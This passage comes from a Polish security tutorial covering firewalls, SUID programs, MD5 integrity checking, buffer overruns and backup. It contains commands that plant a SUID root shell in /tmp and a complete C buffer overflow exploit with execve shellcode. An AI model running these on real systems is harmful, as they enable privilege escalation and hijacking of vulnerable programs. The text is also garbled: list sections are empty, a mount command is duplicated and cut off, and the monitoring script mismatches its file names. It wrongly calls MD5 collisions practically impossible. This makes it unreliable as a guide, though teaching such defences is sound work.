Integralną częścią systemów firewall jest mechanizm o zbliżonej roli do "czarnej skrzynki" w samolotach, śledzący i rejestrujący wszelkie wydarzenia w sieci. Dzięki monitorowaniu uwadze administratora z pewnością nie umknie, na przykład, 30-krotna nieudana próba zdalnego logowania się do systemu. Innym zastosowaniem jest analiza adresów, z którymi najczęściej nawiązywane są połączenia przez lokalnych użytkowników, gdyż dane takie są istotne do efektywnego skonfigurowania serwera proxy. Jednocześnie zarządca ma wgląd w dziennik błędów, gdzie zachowywane są ostrzeżenia o występowaniu wszelkich problemów z poprawnością transmisji. W przypadkach, gdy zachodzi uzasadnione podejrzenie, iż nastąpiło włamanie do sieci, system monitorujący może samodzielnie podjąć akcję zdefiniowaną przez administratora, na przykład decyzję o zerwaniu połączenia albo uruchomieniu "alarmu".


2.9. Wymagania sprzętowe.

Każdy Firewall powinien posiadać co najmniej dwa adresy, więc wymagane będą dwie karty sieciowe lub inne interfejsy transmisyjne (np. porty szeregowe, modemy ISDN, karta sieciowa + modem). Jedno z urządzeń połączone jest ze strefą zdemilitaryzowaną (DMZ) a drugie z siecią prywatną. Interfejsy należy dobrać tak, aby nie zmniejszyć przepustowości łącza (np. w przypadku łącza FastEthernet dobieramy dwie karty 100Mb). Jeśli zdecydujemy się na darmowy Firewall działający pod Linuxem wystarczy komputer z 16MB RAM i 300MB partycją. Proste zapory ogniowe działające pod Windows 95 lub Windows NT mają wymaganie nie większe od systemu operacyjnego. Większe systemy komercyjne, jak Novell BorderManager potrzebują min. 48MB RAM (+500 KB RAM dla każdych 100 otwartych połączeń TCP przechodzących przez bamkę IP) i 250 MB miejsca na dysku. W celu zapewnienia poprawnego działania Proxy Cache należy zainstalować minimum 48 MB RAM i co najmniej dodatkowe 250 MB HDD w celu efektywnego wykorzystania pamięci podręcznej. Warto zwrócić uwagę, że przy dużej ilości połączeń obsługiwanych przez wszelkiego rodzaju Proxy Servers, dodatkowa pamięć RAM przyspieszy pracę.


2.10. Kryteria wyboru.

Jeżeli w naszym systemie są przechowywane dane, których zniszczenie bądź ujawnienie wiązałoby się z poważnymi konsekwencjami, to taka podsieć powinna być izolowana i nie mieć fizycznego połączenia z siecią globalną. Gdy jednak jest to niemożliwe, należy zdecydować się na jeden z profesjonalnych systemów firewall. Zanim dokonamy takiego wyboru warto rozważyć następujące kwestie:


W trakcie instalacji należy rozwiązać kolejne problemy:



2.11. Wady i zalety firewalli.


Zalety:

Wady:




3.Programy typu SUID i SGID.

Uruchomienie programu typu SUID (set-UID) powoduje przyznanie uruchamiającemu prawa właściciela programu. Technika ta jest wykorzystywana między innymi przy programie passwd, który ma właściciela root'a i jest programem typu SUID. Dzięki temu w trakcie uruchomienia programu passwd mamy możliwość pisania do pliku /etc/passwd, który normalnie ma tą możliwość zablokowaną. Aby programowi nadać cechę SUID'a należy mu ustawić bit SUID czyli ósemkowo 4000. Tak samo sprawa przedstawia się z programami SGID, tyle że przy nich otrzymujemy prawa danej grupy, do której należy ten program. Bit SGID ustawia się podając ósemkowo 2000. ). UIDy są 16-bitowe, zatem przyjmują one wartości od 0-65535.

     Choć programy tego typu dają wiele dobrego, można dostać większe uprawnienia na czas uruchomienia takiego programu, to jednak są też potencjalnym zagrożeniem dla systemu. Jeśliby na przykład stworzyć shell typu SUID z konta root'a i nadać mu prawa do uruchamiania dla wszystkich, to każdy mógłby dostać przywileje root'a uruchamiając tego shella. Można to zrobić następującymi dwoma komendami (mając dostęp do terminala root'a):

$cp /bin/sh /tmp/break

$chmod 4755 /tmp/break


W ten sposób w katalogu /tmp powstanie kopia shella sh typu SUID, dająca się uruchomić przez każdego użytkownika. Czyli każdy może być teraz root'em w tym systemie. Należy więc uważać aby takie wypadki nie miały miejsca, gdyż są poważnym zagrożeniem dla całego systemu. Jednym z rozwiązań tego problemu jest zamontowanie partycji jako nosuid, wtedy nie możliwe jest ustawienie bitu SUID dla plików znajdujących się na niej. Szczególnie należy uważać na systemy plików, które są podmontowywane z zewnątrz w czasie działania systemu, np. stacje dyskietek czy zdalne systemy plików udostępnione przez NFS. Takie systemy należy montować w następujący sposób:


# /etc/mount -o nosuid remote_host:/dir /home/dir

# /etc/mount -o nosuid remote_host: # /etc/mount -o nosuid remote_h

W ten sposób unikamy działania programów SUID zainstalowanych na podłączanym dysku. Bez tej możliwości łatwo można stworzyć na dyskietce SUID'ową wersję shella, następnie zamontować tą dyskietkę w systemie i uzyskać prawa root'a w tym systemie.

     Przykładem popularnego programu SUID jest write, program ten na czas wykonywania także dostaje prawa root'a, dzięki czemu jest możliwe pisanie do terminali innych użytkowników co jest w reguły zabronione.

     Następnym problemem występującym przy programach typu SUID jest ich bezpieczne pisanie. Zasadniczo należy unikać pisania takich programów (a już na pewno niedopuszczalne jest pisanie skryptów SUID). Czasem jednak zachodzi taka potrzeba i musimy mieć program typu SUID. W tym przypadku należy pamiętać o kilku podstawowych zasadach bezpieczeństwa, gdyż zagrożenie ze strony błędnie napisanego programu SUID jest olbrzymie (szczególnie jeśli jego właścicielem jest root ):







Aby mieć pewność że w naszym systemie nie ma dodatkowych plików z suid'em należy co pewien czas sprawdzać liczbę suidów na dysku i porównywać ją z wzorcową bazą.
Można to zrobić w taki sposób:

[root@localhost]# vi suidscan

#!/bin/bash

data=`date|awk 'begin {FS=" "} {print $2$3"-"$4}'`

find / -type f -perm -04000 2>/dev/null>~/$data







4.4. Programy zliczające sumy kontrolne (ang. integrity checkers)

Działanie tego typu programów polega na obliczaniu odpowiednich sum kontrolnych dla zadanego pliku lub plików oraz ewentualnie sektorów. Zliczane sumy kontrolne są najczęściej przechowywane w osobnych plikach, tworzonych po pierwszym uruchomieniu programu. Jeżeli pliki te istniały już wcześniej, program antywirusowy wykorzystuje dane w nich zawarte, aby porównać sumę obliczaną na bieżąco z poprzednio zachowaną.


Suma kontrolna nie musi (a nawet nie powinna) być sumą arytmetyczną. Są to wartości numeryczne reprezentujące sumy bitowe plików. Często wykorzystuje się je przy transferach danych - strona otrzymująca porównuje sumę kontrolną z faktycznie otrzymanymi danymi i w ten sposób określa, czy podczas kodowania nie wystąpił błąd. Dzięki znajomości algorytmów stosowanych przez pewne programy antywirusowe niektóre wirusy potrafią zarazić plik i obliczyć dla niego nową sumę kontrolną, którą bez większych problemów można zastąpić pierwotną, przechowywaną w pliku.Piętą Achillesową programów zliczających sumy kontrolne jest to, iż pliki przechowywujące obliczone sumy nie są w żaden sposób chronione, dlatego wiele wirusów bezkarnie kasuje napotkane znane sobie pliki z sumami kontrolnymi.


Sumy kontrolne tworzy się w celu wykrycia próby instalowania różnego rodzaju trojanów i backdoor'ow. Aby mieć pewność, że zawartość poszczególnych katalogów i plików nie zmienia się należy co pewien czas generować sumy kontrolne katalogów i porównywać je z wzorcami.
Do tego celu można wykorzystać program md5sum, który zawiera implementację algorytmu MD5 opracowaną przez RSA. MD5 jest algorytmem tworzącym 128-bitowy podpis cyfrowy dostarczonych danych (standardowy sum, czy cksum tworzą tylko 16-bitowe podpisy). W tym wypadku nie ma praktycznej możliwości stworzenia dwóch porcji danych o takim samym podpisie cyfrowym, ani odtworzenia danych z określonego podpisu.


Algorytm MD5 wyjątkowo dobrze nadaje się do testowania spójności plików. Korzystają z niego narzędzia automatyzujące proces zarówno tworzenia początkowego "obrazu" systemu, jak i późniejszego porównywania ich ze stanem obecnym. Najbardziej znanym systemem tego typu jest Triware.



[root@localhost]# cat /var/spool/cron/root

# DO NOT EDIT THIS FILE - edit the master and reinstall.

# (root installed on Tue Apr 3 18:38:38 2001)

# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17

03:20:37M vixie Exp $)


10 * * * * /usr/sumk


Następnie trzeba utworzyć skrypt, który będzie generował sumy kontrolne i zapisywał je do pliku. Plik ten sprawdzany jest co 10s z wzorcami nagranymi na dyskietce. Jeśli rozmiar pliku "roznica" będzie różny od zera to zostanie wysłany list do administratora z komunikatem ALERT!!


[root@localhost]# cat /usr/sumk

md5sum /bin/* >/tmp/suma.temp

md5sum /usr/bin/* >>/tmp/suma.temp

md5sum /usr/sbin/* >>/tmp/suma.temp

md5sum /sbin/* >>/tmp/suma.temp


diff /tmp/suma.tmp /mnt/floppy/suma.src

>/tmp/roznica 2>&1


if [ -s /tmp/roznica ]

then

echo "ALERT!"|sendmail -v root@localhost

fi

rm -f /tmp/suma.tmp

cp /tmp/roznica /root/roznica

rm -f /tmp/roznica


Bardziej zaawansowanym programem niż md5sum do sprawdzania integralności plików jest pakiet Tripwire. Oprócz standardowego md5 zawiera także algorytmy MD2,MD4,SHA/SHS,CRC-16,CRC-32,Snefru

Program z pakietu Tripwire o nazwie siggen potrafi generować sygnatury plików przy użyciu wszystkich wyżej wymienionych algorytmów

Aby wygenerować sygnaturę wystarczy jako parametr programu podać nazwę katalogu lub pliku.
Tripwire potrafi pracować w 4 trybach:


  1. tryb interaktywny

  2. tryb sprawdzający integralność (sumy kontrolne)

  3. generacja bazy danych

  4. aktualizacja bazy danych



  1. Buffer overrun.

W programach napisanych w języku C często występują luki w bezpieczeństwie znane pod nazwą buffer overrun. Jest to poważny błąd w konstrukcji programu. Problem powstaje gdy program czyta z jakiegoś mało pewnego źródła danych do bufora o ustalonym rozmiarze, bez sprawdzania czy wczytywany ciąg nie jest dłuższy niż bufor. Włamywacz może przez dobranie odpowiedniej długości wysyłanego łańcucha nadpisać adres powrotu programu na stosie. Często ładowany do bufora jest również fragment kodu maszynowego, który przy przepełnieniu bufora i ustawieniu przy tym odpowiedniego adresu powrotu może zostać wywołany. Taki fragment kodu może spowodować przejecie dostępu do aktualnego konta. Z powodu tego ze wiele demonów systemowych wykonywanych jest z uprawnieniami administratora (root) może to powodować poważne problemy.


Przykład ataku z wykorzystaniem tej luki:


#include <stdio.h>


#define BUFFER 0xbffff7c0


#define ATTACK_IN_TARGET ((struct bomb *)BUFFER)


struct bomb {

char code[1024];

char *link;

char *retvalue;

char *table[3];

char echo[16];

char message[64];

} attack = {

"\xb8\x0b\0\0\0" /* movl $0x0b,%eax (execve) */

"\xbb\0\0\0\0" /* movl $0,%ebx (program) */

"\xb9\0\0\0\0" /* movl $0,%ecx (table) */

"\xba\0\0\0\0" /* movl $0,%edx (environment) */

"\xcd\x80", /* int $0x80 (linux system call interface) */


NULL, /* saved ebp */

(char *)BUFFER, /* saved eip */

{ATTACK_IN_TARGET->echo,

ATTACK_IN_TARGET->message,

NULL}, /* argument table for execve */

"/bin/echo",

"hacker wins!"

};


main() {

*(char **)(attack.code + 6) = ATTACK_IN_TARGET->echo;

*(char ***)(attack.code + 11) = ATTACK_IN_TARGET->table;

fwrite((void *)&attack, 1, sizeof attack, stdout);

}


Powodzenie w działaniu tego programu powoduje wywołanie komendy

/bin/echo hacker wins!

Bardziej realnym zastosowaniem jest na przykład wywołanie /bin/sh.


Program podatny na wykorzystanie zawiera w sobie konstrukcje typu:

main() {

char buffer[1024];


printf("buffer=%p\n", buffer);

gets(buffer); /* insecure! */

return 0;

}


Zwykle kompilator ostrzega przed popełnieniem podobnego przeoczenia.


Ta technika ataku zakłada znajomość rozmiaru bufora do przepełnienia. Jedna z możliwych technik obronnych jest deklarowanie bufora pod innym adresem za każdym wywołaniem programu. Uzyskuje się to przez zajmowanie losowej ilości miejsca na stosie zanim wykonana zostanie jakakolwiek inna akcja.



6.Backup.

Oczywistym jest że wszelkie utraty danych pociągają za sobą straty finansowe. Czasem dane nie mogą być nawet odtworzone, na przykład wyniki jakiegoś eksperymentu. Ale częściej koszt odtworzenia danych jest tak duży że nie jest się w stanie sprostać temu pod względem finansowym.


Istnieją cztery podstawowe przyczyny utraty danych:


Backup jest sposobem na zabezpieczenie danych. Przez posiadanie wielu kopii danych nie musimy przejmować się zniszczeniem jednej. Oczywiście każda z kopii narażona jest na niebezpieczeństwo utraty oddzielnie i praktycznie należy zakładać że wcześniej lub później ulegnie utraceniu.


Ważnym elementem w procesie zabezpieczania danych jest wybór medium. Trzeba rozważyć stawiane mu wymagania pod względem kosztu, szybkości, odporności, dostępności i łatwości obsługi.


Odporność powinna być wystarczająca do utrzymania danych przez lata. Dostępność powinna pozwalać na uzyskanie danych w miejscu i czasie w których są potrzebne.

Szybkość, w przeciwieństwie do łatwości obsługi, nie jest wymagana jeżeli kopie mogą być tworzone bez udziału człowieka.

W różnym stopniu wymagania te są spełniane przez dyskietki, dyski magnetyczne, magneto-optyczne i taśmy.


Wybór medium może też wpłynąć na wybór narzędzia to tworzenia kopii zapasowych. Tradycyjnymi narzędziami dla systemów UNIX są tar, cpio i dump.


Techniki wykonywania kopii zapasowych.

Prosty backup:


Istnieje wiele opracowanych schematów tworzenia kopii zapasowych. Zależą one od wymagań stawianych przez pożądany stopień bezpieczeństwa danych.

Przykładowo, dla sześciu taśm wykorzystywanych do tworzenia kopii:

W ten sposób na taśmie numer 1 znajduje się aktualna kopia pełna, na taśmach 2-5 kolejne kopie inkrementalne, a na taśmie 6 poprzednia wersja kopii pełnej.


Wielopoziomowy backup

Prosty backup jest wystarczający do zastosowań o małych wymaganiach. Ma on tylko dwa poziomy: pełny i inkrementalny. Może to być uogólnione do dowolnej liczby poziomów. Pełny backup byłby poziomem 0, a kolejne inkrementalne miałyby numery 1,2, .... Na każdym poziomie inkrementalnym zapisuje się wszystko co zostało zmienione od ostatniej operacji na tym samym lub poprzednim poziomie.

Celem tego jest zapis dłuższej historii dokonanych dotąd zapisów w prosty sposób. Przy prostym backupie historia sięgała do poprzedniej kopii pełniej.


 Wielopoziomowy backup może być zastosowany tez do minimalizacji czasu odtwarzania systemu. Jeżeli mamy wiele kopii z rosnącymi monotonicznie numerami poziomów należy odtworzyć wszystkie, żeby odbudować cały system plików. Zamiast tego można użyć numerów poziomów, które nie są monotoniczne i zmniejszyć ilość potrzebnych odtworzeń.


W celu minimalizacji ilości taśm do odtworzenia można użyć mniejszego numeru poziomu dla każdej kolejnej taśmy. Jednak czas tworzenia kopii wzrasta (każda kopie zawiera zmiany od utworzenia ostatniej pełnej kopii. Lepszym schematem jest użycie schematu poziomów: 3,2,5,4,,7,6,9,8,9 .... Ilość taśm wykorzystywanych w tym schemacie zależy od długości czasów pomiędzy zapisami, ale jest mniejszy niż w schemacie prostym. Jednak wprowadza konieczność zapisywania historii tworzenia kopii.

W każdym przypadku trzeba rozważyć korzyści płynące z obranego rozwiązania, czy rzeczywiście nakład pracy i środków będzie mniejszy.